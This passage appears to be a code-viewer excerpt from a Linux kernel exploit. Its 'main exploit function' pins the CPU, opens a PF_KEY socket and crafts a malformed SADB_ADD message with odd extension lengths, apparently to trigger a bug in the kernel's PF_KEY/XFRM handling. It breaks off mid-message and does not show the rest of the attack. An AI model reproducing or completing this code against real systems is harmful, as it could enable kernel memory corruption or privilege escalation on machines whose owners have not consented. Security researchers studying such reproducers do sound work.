main exploit function
| 1806 | } |
| 1807 | // main exploit function |
| 1808 | void loop(void) |
| 1809 | { |
| 1810 | struct msghdr msg; |
| 1811 | struct iovec iov; |
| 1812 | struct sadb_msg *nlh; |
| 1813 | struct sadb_ext *ehdr; |
| 1814 | // 0. initialize |
| 1815 | // 0-1. set CPU affinity |
| 1816 | cpu_set_t my_set; |
| 1817 | CPU_ZERO(&my_set); |
| 1818 | CPU_SET(0, &my_set); |
| 1819 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { |
| 1820 | perror("[-] sched_setaffinity()"); |
| 1821 | exit(EXIT_FAILURE); |
| 1822 | } |
| 1823 | // 0-2. construct packet |
| 1824 | nlh = malloc(1024); |
| 1825 | memset(&iov, 0, sizeof(iov)); |
| 1826 | memset(&msg, 0, sizeof(msg)); |
| 1827 | memset(nlh, 0, 1024); |
| 1828 | |
| 1829 | intptr_t res = 0; |
| 1830 | |
| 1831 | res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM); // ?? |
| 1832 | res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2); |
| 1833 | if (res != -1) |
| 1834 | r[0] = res; |
| 1835 | |
| 1836 | nlh->sadb_msg_version = 0x2; |
| 1837 | nlh->sadb_msg_type = SADB_ADD; |
| 1838 | nlh->sadb_msg_errno = 0x0; |
| 1839 | nlh->sadb_msg_satype = SADB_SATYPE_ESP; |
| 1840 | nlh->sadb_msg_len = 0xf; |
| 1841 | nlh->sadb_msg_reserved = 0; |
| 1842 | nlh->sadb_msg_seq = 0; |
| 1843 | nlh->sadb_msg_pid = 0; |
| 1844 | |
| 1845 | |
| 1846 | ehdr = (char *)nlh + sizeof(struct sadb_msg); |
| 1847 | ehdr->sadb_ext_len = 0x1; |
| 1848 | ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT; |
| 1849 | |
| 1850 | struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t)); |
| 1851 | sa_addr->sadb_address_len = 0x5; |
| 1852 | sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST; |
| 1853 | sa_addr->sadb_address_proto = 0x0; |
| 1854 | sa_addr->sadb_address_prefixlen = 0x0; |
| 1855 | sa_addr->sadb_address_reserved = 0x0; |
| 1856 | struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address); |
| 1857 | addr->sin6_family = AF_INET6; |
| 1858 | addr->sin6_port = htons(0); |
| 1859 | addr->sin6_addr = in6addr_loopback; |
| 1860 | |
| 1861 | struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t)); |
| 1862 | sa->sadb_sa_len = 0x2; |
| 1863 | sa->sadb_sa_exttype = SADB_EXT_SA; |
| 1864 | sa->sadb_sa_spi = 0x0; |
| 1865 | sa->sadb_sa_replay = 0x0; |
no test coverage detected